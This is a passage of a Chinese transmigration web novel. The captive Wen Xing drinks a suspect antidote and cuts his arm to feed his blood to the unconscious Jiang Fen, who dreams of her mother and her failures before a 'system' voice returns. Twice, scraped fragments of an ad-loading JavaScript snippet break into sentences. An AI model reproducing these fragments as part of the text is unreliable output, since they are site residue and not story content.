此时此刻,不仅他们都成为了呼延阑这场大局的瓮中之鳖,连远走的赵峤,也有可能白跑一趟,一切汗水化作一片虚无。 他们看起来白费一场谋略,几个人还没敌得过呼延阑一个人。 闻行什么都说不出来,也做不了什么剧烈的动作去为他们提醒。 到目前为止,他只能眼睁睁地看着事情由着呼延阑操纵,他说往东,一旦他们一只脚迈错方向,都有可能死无葬身之地。 似乎是看出了闻行脸上错综复杂的神色,呼延阑面色一凛,道: “放心吧,我又不会对说不了话的你做出什么道德沦丧的事,既然算计了你,作为回报,我会治疗你的嗓子。” 话音刚落,一群人伺机而动,径直走到他们面前,对他们说:“请吧。” 闻行冷冷地看了他们一眼,然后后退了好几步。 那群人下意识以为闻行要做些什么,赶紧拔出刀对着闻行,只差呼延阑一声令下,他们立刻就会将这么多刀砍向闻行。 可闻行只是待在姜汾身边,什么都没做。 呼延阑看得出闻行的意思,也就没有过多为难他,只是淡淡说道:“不用动粗,他们俩要是喜欢,就把他们俩关在一块吧。” 说罢,一行人浩浩荡荡押送着闻行等人回到草原。 他们是芪朝派来的使臣,按照道理讲,除了放走赵峤之外没有犯什么大错,更何况,呼延阑连这件事的证据都没有。 因此,即使呼延阑会软禁他们,却不敢对他们动用一些惨无人道的极刑。 他们被分到了不同的地方,彼此之间,根本不可能会有交流的机会。 那群人押送他们时,特地给他们蒙面捆绑,为的就是让他们根本感知不到自己和别人究竟被送到了何处。 闻行是最后一个被蒙面的,他一直默默盯着所有人的朝向,毕竟,这可能就是他们的去处。 随后,被蒙上面的他,只能靠耳朵来辨别方位。 开始的时候,他还能听到其他人行走的声音,过了很久,除了押送他和姜汾的人的脚步声,只剩下了簌簌的落叶声。 大概过了一个时辰,他们终于停了下来,等闻行任由他们摆布,坐到了一个凳子上,他们才为闻行解开绳子,然后一声不吭地离开。 等到周围空间彻底安静了,闻行这才把遮着眼睛的黑布摘了下来。 姜汾安安静静地躺在他的面前,闻行赶紧走过去查看她的伤口,发现已经敷上了药膏。 在观察她的唇色,已经从苍白无比慢慢恢复一些了,起码有了些血色。 等完成了这件事,闻行这才缓缓起身,观察起周围环境。 这是在一顶穹顶里,条件肯定是没有之前那里好,只不过,有一张小床,两三件换洗的衣服,这就够了。 他掀开穹顶的帘子,还没来得及往外面看上一眼,两三名看守的士兵便直接用大刀把他逼了回来。 看来,呼延阑是真的怕他们跑了。 他也不在意,悠悠走回穹庐中央,只是往地上轻轻看了一眼,这才突然发现,地上竟然有一瓶解药。 药瓶什么字都没留,不知道是毒药还是解药。 尽管呼延阑说过他会解自己的毒,可闻行这种久经沙场的老手,知道这解药是最容易掉包的。 如果这里面是一瓶毒药,而闻行错误地喝了下去,那呼延阑算是得了大便宜了。 于是,闻行把这瓶解药先放到了一边,决定以后再做打算。 可事与愿违,直到晚上,闻行感受到一丝饿意了,才发现他们竟然直到现在都没有送来吃食。 哪怕是泔水,哪怕是发霉发烂的东西,一点都没有。 自己饿着了没关系,可姜汾不吃不喝是绝对要出问题的。 闻行想了想,站起身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来,走到门口,敲了敲正在打瞌睡的看守人员。 看门的人一瞬间便醒了,看见是闻行,便站起身来不紧不慢地说:“大王说了,要你把解药吃了,你什么时候吃,我们什么时候送饭。” 闻行眯了眯眼睛,觉得呼延阑的卑鄙真是更上一层楼。 人是铁饭是钢,这是谁都懂得道理,他是在拿这些东西来逼迫闻行就范。 闻行嘴角勾起一抹轻笑,看着放在角落的药瓶,直接拔开塞子一饮而尽。 他感受到自己的喉咙部分发出了一阵剧痛,但这又影响不了他走路。 闻行拿着药瓶,走到看守人员面前,在他伸出手准备接过药瓶之时,轻轻一放。 药瓶摔在地上发出清脆的声音,随即破碎成渣滓一样的碎片。 守卫愣了一下,看着闻行冷漠的眼神,突然感受到一阵不寒而栗。 闻行的嗓子还是很疼,说不了什么话,但这反而让守卫后背发凉。 守卫强装镇定点点头,立马将之前早就送来的餐食交给闻行。 闻行接过餐食,再也没搭理过站在门外的两个人,转身回到穹庐之中,将餐食放在了姜汾跟前。 姜汾还躺着未醒,如此一来,吃饭便成了个大问题。 闻行盘坐在她的面前,想了又想,还是先尝试了一下给姜汾喂一些流食。 可姜汾无论怎样,绝对不会咽下去这些东西。 从他们离开到现在,已经整整一天了,姜汾在这期间跟本没有吃过任何东西。 没有办法,即使再不想搭理门外那两个家伙,闻行还是得腆着个脸走过去问:“有水吗?” 不吃饭还能活下去,但滴水未进才是真正的难题。 守卫摇了摇头,然后装作看不见闻行。 即使再怎么含有怒气,但这是寄人篱下,他闻行现在只能靠呼延阑过活,所以,再怎么怒气冲冲也只能打碎了牙往肚子里咽。 等再次回到了穹庐之中,闻行看着姜汾,想到她吃不了任何东西,自己看着那些食物也犯恶心。 他眸中的神色开始变得浑浊,然后整个人散发出颓废的气场。 但是,只是过了一会儿,他像是反应过来了什么,立马站起身来,找了一个隐蔽的角度,以迅雷不及掩耳之势拔出别在腿边的短刀。 他伸出自己的手臂,将手臂上围绕的布料全都拉开,露出的皮肤赫然裸露在空气之中。 这要是放到了之前在战场上的时候,这无疑是给敌人留下了杀死自己的机会,敌人会想尽一切方法给自己一刀。 然而,此刻的闻行,却迫切希望,姜汾能是那个给自己一刀的人。 起码,这还是证明了姜汾醒着,能和他哭、和他闹,在他说不出一句话的时候,能够陪伴在他的身边。 想到这里,闻行毫不犹豫拿着短刀给自己的手臂划了一刀。 血液很快就从伤口缓缓淌出,顺着闻行控制的方向,尽数落入姜汾嘴里。 就在此时,姜汾的眼眸轻轻一动,似乎是在对闻行的这种行为说些什么。 56. 系统 天空是黑暗的,是混沌的,很多时候,连一片乌黑的云彩都没有。 自从姜汾受了那一刀后,整个人便从真实且鸟语花香的世界之中脱离,进入到了另外一个从未涉及的世界。 她明明脚受了伤,完全无法站立行走,此刻却健步如飞,可以在这混沌的世界里轻盈地走向任何地方。 但仅限于此。 除了能四处走动,她抬起头看向周围,不仅毫无一人,连一草一木,一砖一瓦都没有。 这里除了姜汾,就是无尽的黑暗。 恍惚间意识到这件事的姜汾,突然感到胸口有一口气喘不上来,她越想要去呼吸,就越被禁锢,整个人就像是被一双无形的大手遏制住咽喉,无法动弹。 姜汾越是挣扎,这股力量就越强大。 于是乎,姜汾脑袋里空白一片,干脆放弃了挣扎。 没想到,这反而让那双大手的力量得到了削弱,只是在转眼之间,姜汾便被完全放开。 等姜汾好不容易恢复过来,她的面前突然出现了一个人影,姜汾定睛一看,竟然是自己的母亲。 不是柳枝言,不是在这个吃人的芪朝所遇到的任何人,是她真真切切的母亲。 自从意外穿越到这里,她除了对母亲的思念,其他什么都没有,甚至连一张小像,她都不会画。 她对母亲的印象,已经很模糊了。 突然出现的这个幻影,哪怕是会让她陷入万劫不复之地的伥鬼,她也甘之如饴。 在姜汾的眼里,母亲眼眸闪动着奇异的神色,她从母亲的瞳孔望过去,乌黑的瞳仁里照映出了她的一生。 从牙牙学语到学有所成,她最大的心愿就是自己能找到一份安稳的工作,能够自食其力,在自己走后,姜汾能够养活自己。 然而,姜汾只会学习。 从小到大,她傲人的学习能力让母亲获得了无数的关注和赞美。 可这种关注和赞美不会持续一辈子的,不会有人选择当一辈子的学生,他们总要长大,长大后进入到社会,就必须得顺着大流,必须得工作。 她身边的很多人,无论是工厂老板,还是工地的农民工。即使阶级上存在一定的差距,可他们都在尽自己的一份力,用自己的方式挣钱。 只有自己,一直在念书。 高中毕业的时候,班上很多人选择辍学打工,那个时候他们对姜汾母亲说: “你女儿好好念书,那个名牌大学出来的人,再怎么都会高我们一等。” 那是十几年前人们的观念,念书是唯一的王道。如果在一群人当中出了一个很会念书的的人,那个人走到哪里,总会有人关注。 从小到大,姜汾便是在这种光环下长大的。 可是,在一条街的街坊领居里,她是凤毛麟角,她可以成为最闪耀的存在,等到了大学,谁还会在意谁呢? 同寝室的人,差不多都是其他热门专业的,她们上课从来不和自己一起,渐渐地,她们连话题都聊不到一起了。 所有人都说,大学时候的恋爱足以让每一个人回味无穷,可加姜汾想了又想,根本不知道自己大学的时候,除了导员、老师,还和什么男的聊过。 所有的期待,不过是竹篮打水一场空罢了。 她浑浑噩噩过着每一天的时候,母亲总是对着她说:“谷地,出去玩玩。” 姜汾是在汾河谷地出生的。 那个时候,父亲勉强还能称得上是一个爹,和母亲的感情是不错的。 他们认为,他们是在汾河谷地这片区域定的情,宝贝女儿又是在这片土地上出生,足以说明他们与汾河谷地的缘分有多深。 于是乎,智障老爹脑袋一想,出生证明上姜汾就叫上了姜谷地的名号。 要不是后来母亲影后坚持要看一眼名字,在看到如此潦草的名字后坚决改了过来,姜汾恐怕真的会被别人喊一辈子的谷地姐。 大名逃过了,小名还是在所难免的,姜汾的童年,除了试卷上写了姜汾两个字,其余时间,哪怕是她本人,都是叫自己谷地。 直到她长大了一些,才渐渐没人提起她这个小名。 恍惚之间被母亲这么一叫,姜汾觉得自己又可以重新投入到新的学习中了。 学习不是她最擅长、最拿手的事吗?既然如此,就用学习看到一些实际有效的事吧。 于是接下来,她就面对了: 转专业失败。 考研跨考失败。 博士跨考失败。 她重新用了十年,来被迫承认自己什么都不是。 博士在读的时候,姜汾在一次长假回家看母亲,那时候母亲已经五十多岁了,却依然干着工厂里面最多的活。 她的工资已经被老板压榨得不成样子,身边的很多人总是在问她: “这个年纪怎么还出来工作啊?” “都只拿这点钱了,还不如回家享点清福呢。” “她就那么一个女儿,小时候那么宝贝着长大的,现在怎么一点都不心疼自己的妈啊?” 每一句闲言碎语都像是无数根尖锐的刺,毫不留情地把姜汾的整颗心脏贯穿。 在姜汾的心脏之中,那些尖刺甚至会生长出无数的枝丫,让姜汾的心变得更加的难受。 即使被指着鼻子骂没用,姜汾也无可奈何。 这些话落不到母亲耳朵里也就罢了,她也不会多在意些什么的。 然而,姜汾没有想到,母亲比谁都清楚这些糟糕的事。 她常常趁着姜汾不在的时候,把那些乱嚼舌根的老东西们,全都臭骂了一顿。 在把那些恶臭的亲戚邻居赶走之后,她一个没读过什么书的中年妇女,什么安慰的方式都不懂。 他只知道,女儿此时此刻还在书房里学习,她不能耽误女儿的学习。 于是,她又拖着疲惫不堪的身体,走到厨房,为姜汾煮上一碗热乎的姜汤。 知道姜汾不喜欢喝这个,她还会准备很多姜汾喜欢的小零食,想哄着小女孩一样,骗姜汾喝下这碗姜汤。 姜汾其实一直都很想告诉母亲,自己早就不是那个需要哄着喝姜汤的小女孩了。 自己已经三十岁了,身边很多人,不仅事业 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有成,还都成家了。 最近两年,朋友圈里晒自己晋升,发自己萌娃的人越来越多了。 只有姜汾,上一条朋友圈,还停留在高三时期。 那个时候的姜汾,意气风发,对任何事情都是满怀自信的。 所以她才会在朋友圈座右铭处,写下简媜的那句话。 当上帝赐给你荒野时,就意味着,他要你成为高飞的鹰。 如今风里雨里,姜汾都走过了,更别提什么荒野了。 可姜汾成为展翅翱翔的鹰了吗? 没有。 她只是一只躲在一群鸟身后,排着队准备吃腐肉烂骨的秃鹫。 她拔了自己身上所有的毛,从此以后,除了一条路走到黑,她别无其他办法。 她回头一看,连来时的路都没有了。 而现在,姜汾再次回头一看,在这个混沌的世界里,不仅有了来时的康庄大道,那条道路上,更是出现了姜汾最希望见到的人影。 正是她的母亲。 姜汾知道眼前的一切,不过都是自己晕倒之后所产生的幻觉可她还是会忍不住地沦陷。 仿佛这个世界再黑暗一点,再朴素一些,她就能彻底碰到自己日日夜夜朝思梦想的人。 可当她把手快速伸向那个人影,不仅没有碰到自己所想念的人、所喜欢的人,反而像是自己一只脚踏进了黄泉地府。 再一看,浑浊的黑雾之中笼罩了一个人影,姜汾待在原地不动弹,静静等待黑雾散去。 如同拨云见日一般,黑雾散去之后便是一片清明,站在黑雾之中若隐若现的人影也渐渐变得清晰起来。 知道他的面部轮廓全都漏了出来,姜汾才看见,原来是闻行。 她也许应该为在这里见到闻行而感到高兴,可她却为自己甚至来不及触摸一下母亲而感到无措。 闻行是一湾浅浅的清泉,让姜汾在这个弱肉强食的世界有了一丝慰藉,在她快要被这个世界炙烤到死亡的时候,闻行能够给她一丝清凉。 可是,如果她能够回到原来的世界,重新拥抱自己的母亲,她会不会在选择他们时而感到犹豫呢? 两边的人,代表了两个完全不一样的结局,同时,也象征着姜汾的决策。 纠结的神色渐渐浮上了姜汾的眉头,她的内心之中似乎有两个阵营的士兵在苦战,不管哪一方在最后关头获得胜利,结局都是两败俱伤。 闻行模糊的身影开始向她轻轻招手,她刚想回应,便被一声叫喊夺回了注意力。 回头一看,原来是再次出现的母亲叫住了自己。 他们两个人现在姜汾的两侧,各个方面似乎都是对立的状态。 而此时此刻,他们都不说话,似乎都想用沉默来逼迫姜汾做出选择。 姜汾有些无措地看着他们,就在她不知如何是好之时,一道机械的声音突然在脑海之中浮现。 【欢迎宿主选择,我是李坝坝,将会继续服务于您的抉择。】 大脑瞬间一片空白,过了好久,姜汾这才反应过来,这道声音竟然来自很久都没听到的系统。